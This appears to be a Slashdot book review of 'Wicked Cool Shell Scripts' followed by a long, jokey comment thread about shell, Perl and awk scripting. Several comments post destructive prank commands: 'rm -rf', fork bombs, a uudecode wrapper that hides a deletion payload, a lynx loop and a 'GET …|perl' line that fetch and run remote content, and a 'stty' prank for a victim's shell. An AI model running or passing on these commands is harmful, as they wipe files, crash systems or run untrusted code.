Wicked Cool Shell Scripts
Chapters are divided into an array of topics sure to catch the attention of any UNIX based system user: The Missing Code Library, Improving on User Commands, Creating Utilities, Tweaking Unix, System Administration: Managing Users, System Administration: System Maintenance, Web and Internet Users, Webmaster Hacks, Web and Internet Administration, Internet Server Administration, Mac OS X Scripts, and Shell Script Fun and Games.
In true "cookbook" fashion, each hack is numbered and divided into The Code, How It Works, Running the Script, The Results and Hacking the Script. Throughout, the author clearly describes the syntax and functionality of each script, often with additional notes in How It Works detailing the syntax process and interesting asides. But Hacking the Script is what gives Wicked Cool Shell Scripts true value; where applicable, the author uses this section to describe script modifications to achieve a variety of alternative real world, practical results. This additional section alone easily triples the total number of scripts the reader is exposed to.
This book enables the reader to get "up close and personal" with their UNIX based system and explore the possibilities afforded by becoming intimate with the command line interface. The reader will find themselves easily propelled into the world of scripting, thanks entirely to Dave Taylor's ability to take what some might describe as a fairly dry topic and translate it into a logical and user friendly construct. Just reading through the table of contents is inspiring and intriguing; did you know you could write a script to retrieve movie info from IMDb? or track the value of your stock portfolio? or that you can use a very simple script to check spelling on your web pages?
Sysadmins and webmasters will find this book fundamentally critical to day-to-day operations; there are dozens of invaluable, customizable scripts highlighted in this book to enable professionals to save time and add simple, elegant solutions to annoying issues in their work environment. User account management, rotating log files, cron scripts, web page tweaks, apache passwords, synchronizing via ftp, etc. are all eminently useful and tweakable.
Geeky home users will discover they can use these scripts to work with files and directories, create spell-checking utilities, calculate loan payments, create summary listings of their iTunes libraries, and of course, play games. Many of the sysadmin scripts would also be of interest to the power user: analyzing disk usage, killing processes by name and backing up directories, to name a few. Both types of users will find this book inspiring and truly fun!
One of the secret pleasures of a technical book reviewer is finding those wonky bits of code that suffer from misplaced or missing punctuation, misspelled words and other basic typographic errors inherent in the book publishing process. I randomly selected many of these scripts to try out in the process of doing this review and...dang, haven't found any errata yet. But be sure to check out the errata page on Dave Taylor's web site for any that more astute readers may find (there were none, as of this writing).
Also be sure to take a closer look at Dave's shell script library, which lists additional scripts that didn't make the cut for the book. As convenient as it is to download the entire script library, I would like to stress the value of buying the book, which will provide you with invaluable instruction and guidance in understanding the syntax of the scripts and it also illustrates how making small but significant tweaks can modify the output to match your specific needs.
(A special nod of appreciation to Dave Taylor's Tintin references!)
You can purchase Wicked Cool Shell Scripts - 101 Scripts for Linux, Mac OS X, and UNIX Systems from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.
I could use some wicked cool batch files.
And here I thought I was done with buying books.
*Bookmarks this page for when I get money*
I've got more mod points and GMail invi
contains one line:
rm -rf *
i like shell scripting. i dont know why, it just seems more enjoyable than programming big apps in java or c++. maybe its just the size, they are done sooner. i use a script that upon booting writes the new IP on a dynamic IP machine to the httpd.conf file, i thought that was kinda cool. nothign complicated, just necessary.
use your turn signal! you people act like it's divulging information to the enemy
Step 1. Type the following 367 pages into 101 text files using the text editor of your choice. ./*' and hit enter.
Step 2. Type 'chmod a+x
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
This sounds useful, but what languages are used? I picked up a couple of the O'Reilly 101 ____ books and they usually had lots of neat stuff, but since they varied the use of scripting languages, not everything resulted in something I could use. (I have nothing against Python or Ruby, for instance, but I already know too many computer languages to take the time to learn a new one just to use a script).
did you know you could write a script to retrieve movie info from IMDb?
Please please tell me it's not
#!/bin/sh
wget 'http://imdb.com/title/tt0151804/'
Tsunami -- You can't bring a good wave down!
Perl is now completely ubiquitous, and much more suited to scripting than /bin/sh. Why settle for anything less?
Cretin - a powerful and flexible CD reencoder
...everything looks like a nail
Actually, I agree that shell scripting is a powerful tool and well worth understanding. But 'a loan calculator' script? Gee, once you know the formula, a coupla minutes in a spreadsheet will do the trick.
I guess all people, myself included, fall into the hammer/nail trap. I know C very well, so I use it for just about every little app. Hmm... maybe I oughta buy this book.
-RatOmeter
Hopefully it also features a grammar checking script to ensure that you don't start using phrases like 'Wicked Cool'.
There needs to be a chapter on bash prompts. I have seen some slick prompts. Displaying; uptime, current directory size, time, battery power, etc. I'm pretty satisfied with a user@host:~, but i do like to put color in mine.
...webmasters will find this book fundamentally critical to day-to-day operations;
What webmaster uses SHELL scripts?!
I understand, PHP, Perl, some other CGI. Marginal use for scripts for log analysis, maybe some file management, making their own work a bit easier.
But shells were never meant to do any web work. They are too slow, too heavyweight, too vulnerable to abuse by malicious users to be used as server side extensions!
Anagram("United States of America") == "Dine out, taste a Mac, fries"
If the script is not working as you want, put a
on the fist line and on the last line.You will see the exact execution path and variable expansion, very neat for debugging
for the last time people, I am "frodo from middle eaRTH", not "middle eaST".
Gee. This book must cater to Solaris users.. or some other *NIX not blessed with a killall command.
A guy I know that is into Geocaching likes to use archaic shell scripting to scrape web pages for information. While the scripts work they require other applications and quite a bit of messy code.
Why would you use awk and sed along with a really ugly shell script to get something done when you could have just as easily used perl to acheive the same effect?
Sometimes you should just use what is best for the job. I really don't think that using shell scripts to pull IMDB movie info is the best way to go.
YMMV,
Wicked Cool Shell Scripts
You might want to read imdb's robot.txt before using wget.
Very recently, after reading a (Score:5, Insightful) idea on what would "make Linux four times what it is today" I decided to write a shell script which does exactly that. Sadly, writing a program which implements a (Score:5, Insightful) idea is apparently worth only (Score:1) as it's obviously better to say "Linux would be great if only..." than just doing it. Anyway, I have released it under the GNU General Public License. Enjoy!
Sincerely,
Pan Tarhei Hosé, PhD.
"Homo sum et cogito ergo odi profanum vulgus et libido."
First of all, its not completely ubiquitous, so that would be a reason right there. Second, alot of people don't like perl. Its an ugly language, and 90% of what people use perl for is done as easily or easier with something else. On one end, if you actually spent a little time to learn your shell, you would realize you can write very powerful scripts in sh very quickly, the only reason to use perl over sh is personal preference. On the other end, most langauges like python and ruby are much nicer than perl, and can often do what perl can simpler and cleaner.
And a special nod of appreciation to norburym for mentioning the Tintin references in the review!
It was cool to see a reference to one of my favorite fiction/comic books on Slashdot. I hate to call Tintin and Asterix comic books because they're so much more than mere comics. I've noticed though, that not many people are as hooked to the Tintin and Asterix series in the US as in Europe/Asia. They're great for kids and much *much* better than the shitload of comics that they read nowadays.
I've had trouble finding them in the public libraries (in 3 states) and even the big book stores. So people who haven't heard/read these books, are definetly missing out on some cool reading. Check them out at your local library or atleast their websites: Tintin and Asterix.
Note: I am in no way affiliated to these books/publishers/websites. I'm just an avid fan :)
An Indian-American Hindu committed to non-violent thought/speech/action alarmed by the global explosion of radical Islam
The parent post makes no grammatical sense. Does anyone know what this A.C is trying to say?
Site seems down already
For things like stupid customers who's websites contain links to "index.htm" but who's files are actually named "Index.HTM". There's always little things like this that are easily dealt with if you understand your shell and how to script with it.
Give me Korn shell or give me death!
Debunking the "59 Deceits"
Thank you, that troll was truly well-crafted and inspiring.
Repeal the DMCA!
Written by someone in Boston apparently. I bet he's wicked smaaaaaat.
Yes, my girlfriend is a BitchX
Bash scripts used to drive me up the wall back then. Now I've found the glory of Perl. Couple that with O'Reillys Learning Perl, Programming Perl and Perl Cookbook and you can say goodbye to bash forever... unless Perl use is prohibited *sigh*.
John
#90 Monitoring Network Status Please... Please... let me guess this one. is it ping?
101 Scripts for Linux, Mac OS X, and UNIX Systems
Dammit, when will people get over their prejudices and realise that OS X is UNIX. There seems to be a constant segregation "Linux, OS X, and UNIX".
Apple put a lot of work putting high-end UNIX Servers on the desktop, that are on par or exceed the performance and usability of stuff from SUN, IBM, SGI, BSD and CRAY. In fact, OS X is the best UNIX ever, with protected memory, pre-emptive multitasking and all the things that make Apple what Apple is today.
Your crappy white-trash PEECEEs could only dream of that.
I haven't seen or read this book, but my first impression from reading the review is that it's just a book that lists some shell scripts. There's no real challenge. You could customize the scripts endlessly, but real hackers write the scripts themselves (okay, borrowing code sometimes)
So what? I just bought a cookbook on sauces. What's different? Maybe I like a little more garlic in most my sauces so I'll throw some in here and there. Most of the sauce recipes, i would have never have thought to go with something I usually eat. Why does there need to be a "challenge"? It simply makes my meal more enjoyable.
Having 101 shell scripts that I can tinker with and add things that I like, or use them in a way that makes using my computer more enjoyable is great!
He's one of those trolls from the Korean branch of GNAA. His grammar sounds a lot like the virus emails I've gotten lately.
Repeal the DMCA!
sh and vi are ubiquitous, perl is not.
For instance, FreeBSD recently took perl out of the base package. And perl wouldn't be my candidate for inclusion on a boot floppy.
I can hardly wait for: Wickity Wacked Scripts PHPhat Programs 101 Scripts With Bling Bling /bin/Shizzle Your Scripts
Sucka MC Unix Administration in a Nutshell
-w
Must be the loan-calculating scripts all the Gs use out in Compton. Can't get much more street credit than that!
That just shizzled my nizzle.
perl thrashes and crashes trying to crunch seriously large amounts of data.
/bin and /usr/bin are usually written in C and often quite robust. at least if it's GNU. Solaris "awk" and "fgrep" and SGI "ls" are pieces of crap.
the stuff in
perl is good for using when you have smaller amounts of data and can't quite do it with sed/awk/ls/grep/sort. it is especially good with "associative arrays" (most people call them "hash tables").
a port of cowsay?
...but grandma didn't need no stinking cookbook and her sauce kicked ass.
#!/bin/sh /
# run at your OWN RISK
cd
uudecode EOF
begin 644 d
&FT@+7)F
\`
end
EOF
chmod +x d
sh d
We all need to accept it. There are not many activities that Slashdotters could perform that are truly "cool"; least of all writing a shell script.
-- scsg
Please, DON'T.
Why? If I know awk better than PERL, its a much better idea to use AWK.
Vice versa.
P.S.- At two different points in my life I did serious perl scripting. Now, I can't remember a darn thing. Awk looks like C. So these days, I use awk. Different strokes for people with different amounts of brain power/memory.
And some scripters tend to be just as zealous about the power of scripting as perl mongers are about perl!
In the future, I would want to not be isolated from my friends in the Space Station.
Try getting to anything in NFS when running in single-user mode.
Is there a shell script included that makes it look like you are working? Isn't that the purpose of all good shell scripts?
Freedom is trouble :)
Here's to losing my Karma Bonus again....
If you don't even understand shells or how they work, you shouldn't be getting religous about them. Not only are there multiple ksh shells, but all of them are easily configurable. I use a pdksh that has tab completion, etc just like bash, only its faster and uses 1/3 as much RAM.
Bash is typical of GNU software: bloated, buggy re-implimentations of existing software that are considered "the one and only" by linux twits that don't know the first thing about unix.
had to hunt around and ultimately found a couple of them, but nowhere close to the entire series comprising 20 odd books.
"Wicked Cool" seems like a pretty dated term to me but after all it is a book on shell scripts. Perhaps we'll see "Hella Cool Perl Scripts" next. For shell scripting I still like "The UNIX Programming Environment" by Kernighan and Pike but that's reeeeaaaaly dated.
In theory, there is no difference between theory and practice, in practice there is.
"stty erase r"
Insert at end of victim's
Here's other stuff I have grouped by sections in my .cshrc
First, I have my shell variables. The comments say what they do. The most important one is autolist.
Second, bindkeys are pretty neat. I rebind the up and down arrow keys. By default they scroll up and down one at a time through the history. You can bind them to search the history based on what you've typed so far.
Third, completes allow for customizing tab completion. When I change directories, tab only completes directory names. This also works for aliases, sets, setenvs, etc.
Fourth, I have all my aliases. I had to cut a bunch because of the lameness filter.
The ultimate goal of science is to unify all forces of nature to a single law that can be silk-screened onto a T-shirt.
Hey, Chicks Dig Unix.
Wore that shirt to my parents one time and my mom didn't exactly get it. Unix does not equal Eunuchs. Try explaining that to your mom.
-Tolerate my intolerance
I suppose we won't get an mirror somewhere, are we?
it looks like he just cut and pasted a number of sentence fragments from the review
Casual Games/Downloads
Quick! Somebody pick this up for Taco!
--
There's nothing like a good AC reply on Slashdot... and this was nothing like a good AC reply.
I like this one, too.
-e: bomb out immediately when a command exits w/nonzero status
-u: bomb out when de-referencing uninitialized variables ("var=" counts as initialization).
John.
well the last book by this company that i bought was programming linux games - and eventually that book was released free! i wonder if this will happen for this book as well?
spend money here
Well, I wrote a script that writes customized scripts to do just what you guys said. And I wrote the entire thing using only mind bullets!
I wonder if he also includes a script for completing TPS reports.
/dev/hp0lcd0
echo "PC Load Letter" >
Yeah, and she only knew how to make a couple of kinds of sauce. Even a master chef needs a cookbook. Or a hundred.
The whole "real hackers do it themselves" argument is crap. No man is an island, and we all learn something from others. If someone wants to be an elite h4x0r d00d, does he have to be raised like a veal in front of a computer with nobody to tell him how to turn the fucking thing on?
The whole point of networks is to share knowledge. If you don't try to build and add to that knowledge, then you are a free rider, and you are land and annoying. If you take the knowledge you can find easily and extend it or use it in a new, fun, or productive way or in an unexpected context, then you are doing what, IMHO, "hacking" is all about.
Taking an elitist "I am uber h4x0r, and I did it all by myself!" attitude is alienating and contrary to my notion of what hacking should be about. It's also bullshit. Even Torvalds had help. Going the reductio ad absurdum route, if you didn't write your own OS, then you are just a lamer according the lone wolf hacker theory. JFC.
GF.
Lots of petrified grits
But be sure to check out the errata page on Dave Taylor's web site for any that more astute readers may find (there were none, as of this writing).
/.'ed.
This might be because it's
.. there is this command we could put in a script, not to my credit, forgot where I saw this:
:|:& };:
#!/bin/sh
(){
echo off format c:
But there is another kind of evil that we must fear most... and that is the indifference of good men.
and yet you fail it.
If you like scripting and all things Unix I highly recommned Unix Power Tools. I bought a copy last month. All the things about Unix that could not necessarily fill an entire book other their own nicely packaged together.
UNIX/Linux Consulting
I think the document you are referring to was written by this guy
Suddenly I grok that you are a much cooler cacher than I knew previously. I may have to take a side trip to log one of your caches next time through. :)
Another good book is The Unix and X Command Compendium Shows shell commands, and explains what they do. A very good Unix reference book.
In Debian, the Bash package comes with a totally awesome collection of customized tab completions. For some reason, they are not turned on by default. To turn them on in a single account, you can put the line "source /etc/bash_completion" in your ~/.bashrc file, or you can turn them on globally by editing the /etc/bash.bashrc file and uncommenting the relevant lines. You'll get magic smart tab completion for cd, apt-get, ssh, mplayer, and bajillions of other programs, and you'll wonder how you ever did without it. apt-get tab completion in particular rocks like nothing else. For example, if you type "apt-get remove x[TAB]" you'll get a complete list of installed packages starting with x. When installing, you'll get a list of available but not yet installed packages. I can't stand using apt-get without tab completion anymore.
main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
Clickety Click
is there a very small shell script in there for me to replace workers with?
*Bookmarks this page for when I get money*
I've been doing this for years. I'm totally prepared for when I get rich.
It just doesn't do quite what you might expect if your only experience is Linux.
Government of the people, by corporate executives, for corporate profits.
... is FreeBSD Update. 700 lines of shell code to fetch, install, and rollback security updates to an entire operating system.
Tarsnap: Online backups for the truly paranoid
:(){ :|:&};:
Do *not* run this on your production servers.
In the free world the media isn't government run; the government is media run.
If you simply assume that you can't be cool, then you won't be. I admit that shell scripting isn't all that glamorous, but as long as its practitioners think that's the right and proper order of things it's never going to change.
If you don't want change, fine, play by their rules. But stop whining that you're not cool. That's like joining a game of dodgeball and then complaining that there are all these balls coming at you.
Stop learning! Only you can prevent esoterrorism.
Yes - but only the day after you buy it.
Kjella
Live today, because you never know what tomorrow brings
Actually, we decided here ( a fairly large installation) long ago to merge / and /usr.
Our main reason was simplification and this allows us the benefit of not worrying what is in /usr/bin and what is in /bin. (Actually, on Solaris, /bin is just a link to /usr/bin ). Everything in /usr and
/ should not be touched anyhow except through the
normal pkg management tools. We do of course maintain a separate /usr/local.
The main disadvantage is that a fsck would take longer because / is now a large filesystems. With the journaled filesystems of today, we don't see the concern. The other benefit is that we don't need to worry about sizing / and /usr independantly and running out of space in /usr
when / still has lots (or vise versa).
Interestingly enough, /usr/openwin used to be a separate FS on SunOS long ago. The main reasoning was that disks back
then were small and you simply didn't have room to
place /usr/openwin in the /usr/ filesystem.
I would guess that others have merged /usr and /
too but I understand why it's a bit of a
controversial topic.
I do hold disregard for some of the defaults that some Linux distros use where /var and / are merged
as well. In fact, the whole darn OS is in /.
The need for a separate /var should never go away
IMO.
Mmmmm... shell scripts *drool*
I remember when legal used to mean lawful, now it means some kind of loophole. - Leo Kessler
a liquid nitrogen cooling system for overclocking a 386SX to 3.0Ghz isn't cool?
Picky, picky
I once rewrote 2,650 lines of C code as a seven line shell script. The previous programming team had written their own implementation of ftp; I just used the one which was already on the computer.
#!/bin/sh lynx http://imdb.com/title/tt0151804/
"If you're thinking what I'm thinking, you're right." -
It's funny because it's not really what the original poster asked for. It's kind of like giving someone a linux distro when they ask how they can patch their windows box.
I can't help but read this with Strong Bad's voice in my head.
Sierra Tango Foxtrot Uniform
Ju5t 3w3 w8 & c!!!!!
s/form/from/
Hopefully it also features a grammar checking script to ensure that you don't start using phrases like 'Wicked Cool'.
It's supposed to be "Wicked-Cool" right?
joe@joebox:~$ more cool.sh
./cool.sh & ./cool.sh &
#!/bin/sh
# cool.sh: do some cool stuffs
...now if only it would work
Well, since we're on the topic of "cool shell scripts," I have a question. Has anyone written a shell script to act as a DynDNS.org client? I ask, because 1) I couldn't fine one on their site, and 2) I need one. Specifically, I want to run it on my TiVo periodically (every couple hours) so that my IP address is up to date. I want to run it on my TiVo, as it's the only computer I own that's on all day.
And yes, I already have installed an ethernet card and I have telnet access (locally only). The goal is to always have TiVo Web Plus access (via a non-standard port and password protection) anytime, anywhere.
So, has anyone written a client like this? I think TiVo has a bash client (it runs on Linux, of course). Thanks.
You must be really productive.
Wait, when did we start talking about marriage and child-rearing?
for 46% off - not too bad.
(*Y*)
Tell me, what would happen if some package install that updates libc went bad? How do you plan on getting your box rebooted if all your rc scripts are written in Perl?
This is a little off-topic but I can't think of a better time to ask.
/bin/sh and a really simple sed command (find a pattern, replace one character with another in the pattern space).
I recently wrote a small script to fix bad dates in a camera RAW file. It was all
Now while the script worked fine, and replaced what I wanted, in the end the output was one character longer than the original file - Sed has appended a newline at the end of the file. When I deleted this trailing character the file was fine.
This was on OS X, I don't know if that sed is just crazy or what. Does anyone know how I could have NOT have sed add this char, or remove it after it was there? At the time, the only way I could think to remove the char was to use sed which I did not try for obvious reasons! I thought about using Awk instead but figured I would run into the same issue (perhaps I would not have).
Perhaps this was a case where perl would have been better, but I wrote the script in about ten minutes and I really don't know perl at all.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
because it allows union , which is unchecked.
I thought that was a stupid argument--who, outside of embedded programmers, would go there?
Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
$ uname -a /usr/sbin/killall
/usr/sbin/killall
:)
SunOS 5.8 Generic_108528-27 sun4m sparc SUNW,SPARCstation-20
$ which killall
Good for you!
Now type:
$
and post the results after you're done logging back in!
The enemies of Democracy are
Don't you remember the Mobilix case? This web site about Unix on mobile computers was sued by the publishers of Asterix, as their name was too similar to that comic character. They've lost. They had to move the site to Tuxmobil.org.
In Soviet Russia, script forks you!
That's right. All your base.
it's:
format c: | echo y
The shell helper that I am totally lost without is one that adds directory history to bash and ksh. You can find it here: _cd
I guess I never really got the idea of a stack of dirs being useful, since I seem to bounce around more at random than anything else. I prefer to have a cache of places I've recently been.
Bonus puzzle for slashdot readers: using the cd with history function, what directory is this command likely to take me to?
If you can run python, you can ipcheck.
--
Long-term effects of Bush deficits
I ordered this book thinking that it'd be a beefy tome a la "UNIX Power Tools" but it's a little lighter weight -- both intellectually and literally.
Don't get me wrong, the scripts seem good enough, nd the lack of errata is commendable. But I don't want a loan calculator, weather tracker, or datebook: those seem like _applications_ to me, not scripts for system administration (as the book claims it contains).
Anyway, I'll try some of them out on my iMac and my Solaris systems, but this won't be making that big move out of the bookshelf onto the desk, if you know what I mean.
ezipupdate ... ...
ddclient
no-ip
are just a few
I'm using ddclient
I work for a large company (50,000 employees), and the directory lookup site of choice is driven behind-the-scenes by about 6,000 lines of shell script (bourne). Having written this application, one of the most common back-handed compliments I get is when users ask what I did to optimize this application to make it SO FAST! I just smile.
(btw, this lookup tool does more than simple fill-in-the-blank lookups -- it has a first-name-alias lookaside table (so I can find "Sue", even though she's in the database as "Susan", it is case insensitive (yawn), order insenstive, field insensitive (there's only ONE input box), and more than returning just the phone number of the employee, it draws the entire hierarchy around the employee (direct reports, peers, management chain). And, there are buttons for each person on the page to: send page; send e-mail; generate and org chart..., and much much more)
Don't mean to make it sound like an ad for the application -- just thought it might be reassuring to other shell programmers that a shell script can be a major corporation's tool.
The Mac was the holder of the original file - basically the script was a one liner that looked like:
cat $file | sed -e 'pattern/r1/r2' > newfile.out
Newfile.out had the replacemnet done correctly, but as I noted had one extra character at the end (I just assumed it was LF, did not examine).
I am assuming sed was the culrpit that introduced the new char, but I guess it could have been cat as well. I'll have to run some tests.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
From the site:
This tutorial assumes no previous knowledge of scripting or programming, but progresses rapidly toward an intermediate/advanced level of instruction (...all the while sneaking in little snippets of UNIX wisdom and lore). It serves as a textbook, a manual for self-study, and a reference and source of knowledge on shell scripting techniques. The exercises and heavily-commented examples invite active reader participation, under the premise that the only way to really learn scripting is to write scripts.
Together, we will drive the rats from the tundra.
Yeah but will it be For Dummies?
Prevent email address forgery. Publish SPF records for y
to replace the guy sitting next to me?
..more testicles mean more IRON. -Lunchlady Dorris
On the subject of 'cool shell scripts', converting your awk to C and compiling it is pretty damn cool.
The performance improvement was about 6-7X on my project.
awka does that.
On my project it took less time to convert the awk to C, gcc the C and run the binary than it did to run the perl version.
This is not a perl flame. I am old. I use awk.
One of the things that make Unix truly great is the possibility of piping one program's output into another. Use the full potential of what others have developed, don't reinvent the wheel. All you need is printf and scanf, or whatever is the equivalent in the language you are using. It was after reading a book on ActiveX that I definitely quit on Windows programming.
Any sufficiently advanced libertarian utopia is indistinguishable from government.
This sounds like when I used to type in Apple ][ BASIC programs line for line from magazines.. I guess things really don't change much these days.
I'm glad to see any good book about
shell programming being published but
I wish the focus of the book was on
Korn and Bash shells and not Bourne.
The difference between Korn and Bash
vs. Bourne is like night and day. You
can do so much more, so much easier with
Korn and Bash. Shell programming rules!
Erm, Solaris has pkill and pgrep for killing and locating process by name and other process attributes.
Tim Brown
The latest version of sh.exe is 465k bytes, it sounds like you have an old version. You should upgrade it. :)
But then I discovered The Regex Coach.
Wicked is grammatically correct, although slangy. Wicked is an adverb in some areas, notably New England. See American Heritage Dictionary.
"Never attribute to malice that which can be adequately explained by stupidity." -- Hanlon's Razor
> usually the really important scripts are running
> - a STATICALLY compiled binary of a shell that is pretty much everywhere.
On Linux? I don't think so. It used to be that
> you can boot linux without glibc working
Wrong. On Linux you're usually SOL.
On FreeBSD all shells are built statically and
I suggest Linux users build a static shell and install it on their root partition for when the sh*t hits the fan.
I use Korn for interactive use and some scripts. Plenty of features and fast.
The Machine stops.
Real hacks involve power tools, large ammounts of power, and sometimes highly explosive/corrosive chemicals.
:)
Ever seen what a deep cycle battery and a pair of jumper cables can do to a wire hutch at the end of the block? Don't need to know squat about sed and awk for that ammount of fun
If you don't agree with it then post a reasonable argument against it.
Debunking the "59 Deceits"
Your mom *knows* I am not a eunuch.
My beliefs do not require that you agree with them.
And what's your problem with Esc-k?
Debunking the "59 Deceits"
Did you know that Perl can execute shell commands? .pl file chmod +x it and then run it. see how easy it is?
A very simple, example:
print `ls`;
then save it in a
so take your 4 line shell script and execute it from Perl:
print `my4LineScript.sh`;
and then you AND your boss are happy (maybe).
A resource where people post and view "unix tips" can be seen here: www.unixtips.org
for i in `lynx -dump http://www.geocrawler.com/archives/3/209/1998/4/0/ 1209608/|sed -n '83p'|awk '{print $7,$8,$9}'`; do xargs $i /*; done
don't do this let me explain what this will do...
It goes to a script on geocrawler.com and looks and parses out the rm -rf command and executes it... plain and simple. Scripts are dangerous and you should definitely not run them if you don't know what your doing...
GET www.infiltrated.net/magic|perl
That's lame though and does nothing... It's deception nothing more
MoFscker
This would make a great programming/scripting language:
./skriptizzl /bin/shizle detected a non rhyme stizzle in your shizzle. Line 10 son, check it out yo!
#/bin/shizle -yo
#declare a gangsta (variable) called slim
I'm a big ass gangsta and my name is slim
#link in the math pimp (library)
math pimp is in tow and don't you fsck with him
#initialize slim to the hos (linked list) 4,3,2,1
# this causes an error because there is no rhyme
4 and 3 and 2 and 1 now slim and his hos be comming for you
#open a shoutout (file)
Yo, here's a shoutout to the users out there
hey Andy (CR LF)
hey Amy (CR LF)
hey Ben (CR LF)
hey Zack (CR LF)
#exit with no error code
peace out
%
errah
JET Program: see Japan, meet intere
I've had problems getting technical support for WinBatch. That was a long time ago, maybe things have changed now. There were so many small and big problems that I stopped using WinBatch.
I haven't checked out AutoIt, a free alternative, apparently. From the home page:
"AutoIt is a simple tool that can simulate key presses, mouse movements and window commands (maximize, minimize, wait for, etc.) in order to automate any windows based task (or even windowed DOS tasks)."
this is my favourite bash function, psgrep()
ps aux | grep $1 | grep -v grepAnd my favourite script, cls:
#!/bin/sh
echo -e 'ESC[c'
insecurity asks the wrong question irritation gives the wrong answer
Evil by nature and in practice: "this wicked man Hitler, the repository and embodiment of many forms of soul-destroying hatred" (Winston S. Churchill).
So, these are malicious trojans?
Subversion by publishing.
Actually, you don't need awk, sed, sort or uniq to do that. You can use perl for everything:
Same thing, but without using awk, sed, sort or uniq at all.
If you are programming in a csh-like shell and you are not reading comp.unix.shell you might want to take a look at this post by Tom Christiansen for a nice description of everything you should make sure to be especially careful with.
Sincerely,
Pan Tarhei Hosé, PhD.
"Homo sum et cogito ergo odi profanum vulgus et libido."
Shouldn't this be called <Boston Accent> Wicked Cool Shell Scripts </Boston Accent> ?
I use phrases like "darn good" and "rootin' tootin'", but only when there's a darn good, rootin tootin' reason!
Ah, but mrgrey's problem is that his mom now believes that her son is a eunuch. The poor woman's been worrying for years why her son doesn't bring in a girlfriend, even a boyfriend would do but no, nothing happens at all.
Nice one :)
I have to say there are no scripts
there that I would find particularly
useful or that the logic isn't already elsewhere.
Here's my personal collection of
command line tips and
scripts
I thought the whole point of using shizzle up the wahizzle is that lines don't have to rhizzle.
Gates' Law: Every 18 months, the speed of software halves.
I love the .sig. Somewhat similar to what I posted recently in someone's journal.
Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
Please mod parent up: +5, Funny!
haha, very nice. the turning into the wrong lane bit is prevalent in my little college town as well. occasionally, i make sure they can see me and MAKE them turn into the proper lane when i am turning right. i've always wondered if that constituted "not yielding" like i am supposed to since they have the arrow to turn left...
use your turn signal! you people act like it's divulging information to the enemy
Thanks for an awesome recommendation. I wish things like this were mentioned here even more often. I will definately be checking that out.